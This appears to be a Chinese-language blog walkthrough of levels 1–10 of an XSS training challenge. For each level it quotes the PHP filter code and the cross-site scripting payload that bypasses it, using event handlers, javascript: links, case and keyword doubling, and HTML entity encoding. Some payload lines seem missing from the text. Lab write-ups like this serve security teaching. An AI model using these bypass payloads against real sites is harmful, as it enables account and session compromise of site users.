xsschallenge通关(1-10)

文章目录

  • level1
  • level 2
  • level 3
  • level 4
  • level 5
  • level 6
  • level 7
  • level 8
  • level9
  • level 10

level1

这一关很简单,标准的xss注入,打开hackbar,输入


点击EXECUTE,通关!

xsschallenge通关(1-10)_第1张图片

level 2

这一关有一个搜索框,输入


发现直接将这段JS代码当做HTML实体,即普通字符

xsschallenge通关(1-10)_第2张图片

查看源代码,发现有htmlspecialchars() 函数,会转换双引号、单引号和尖角号成HTML实体,并发现在输出中Value的形式是双引号闭合后接尖角号:

xsschallenge通关(1-10)_第3张图片

这时候要尝试将该语句提前闭合,才能执行我们的弹窗命令,输入:

"> 

在源代码中相当于:

 '">

在搜索框中输入该JS语句,通关成功:

xsschallenge通关(1-10)_第4张图片

level 3

和第二关类似,进行代码审计:

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
."
"
; ?>

代码中用单引号闭合,用onmousemove 事件(onmousemove 事件当指针在元素上移动时发生 。)进行xss注入,在搜索框中输入下面语句:

'onmouseover='alert(/xss/)

移动鼠标后通关:

xsschallenge通关(1-10)_第5张图片

level 4

进行代码审计:

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?>

发现这段代码将尖角号替换成空,value用双引号闭合,只要将第三关的代码单引号改成双引号,就能注入成功

"onmouseover="alert(/xss/)

通关成功:

xsschallenge通关(1-10)_第6张图片

level 5

进行代码审计:

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str3.'">
'
; ?>

发现这段代码将转换成HTML实体,输出用双引号闭合,而且有strtolower大小写转换,因此可以考虑JavaScript伪标签与a标签一起使用,并用第二关的方法让标签提前关闭,就能通过此关。

输入代码:

">  点击我 //

出现一个伪链接:

xsschallenge通关(1-10)_第7张图片

点击后通关成功:

xsschallenge通关(1-10)_第8张图片

level 6

进行代码审计:

 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(",",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?>

发现第六关将

">  点击我 //

或者也可以用下面代码,只需要大小写绕过即可:

"Onmouseover="alert(/xss/)
 "> 

出现了一个伪链接:

xsschallenge通关(1-10)_第9张图片

点击后通关:

xsschallenge通关(1-10)_第10张图片

level 7

进行代码审计:

 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
.$str6.'">
'
; ?>

发现这一关不简单,不仅将关键词全部过滤,还自带大写转小写,那这怎么做呢?只要在代码中多加几个字母,让它把多余的字母替换成空格,就变成我们想要的了:

"> alert(/xss/)

"oonnmouseover='alert(/xss/)'

输入到搜索框后通过成功:

xsschallenge通关(1-10)_第11张图片

level 8

进行代码审计:

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?>

这一关不仅做了大小写转换、关键词过滤甚至双引号的过滤,下面有一个名叫友情链接的超链接,前面的操作都不能用了,但是没关系,可以将部分代码变成HTML的转义序列

javascript:alert(/xss/)

转码成&#x加16进制数字的方式书写(HTML的转义序列),也可以被HTML识别:

javascript:alert(/xss/)

输入搜索框后点击添加友情链接:

xsschallenge通关(1-10)_第12张图片

点击下面的友情链接后通过成功:

xsschallenge通关(1-10)_第13张图片

level9

进行代码审计:

 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '
.htmlspecialchars($str).'">
'
; ?> if(false===strpos($str7,'http://')) { echo '

友情链接
'
; } else { echo '

.$str7.'">友情链接
'
; } ?> <center><img src=level9.png></center>

跟第八关非常相似,只不过多了一个判断链接是否合法的if语句,要求合法的链接必须有http://,只需要在第八关的代码基础上加上http://即可,由于http://中有了/,所以把xss的/改成单引号

javascript:alert('xsshttp://')

通关成功:

xsschallenge通关(1-10)_第14张图片

level 10

进行代码审计:

?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "

没有找到和".htmlspecialchars($str)."相关的结果.

"
.'
'
; ?>

发现源码中有个参数t_sort,只做><号的转换和过滤,然后输出值在value中,我们可以先将它闭合,然后用type=“text”将前面的字段类型设为文本,再用一个onmouseover事件:

&t_sort=" type="text" onmouseover="alert(/xss/)

执行后源码的t_sort段会变成这样:

在这里插入图片描述

移动鼠标后过关成功:

xsschallenge通关(1-10)_第15张图片

你可能感兴趣的:(网络安全,android,xss,网络安全)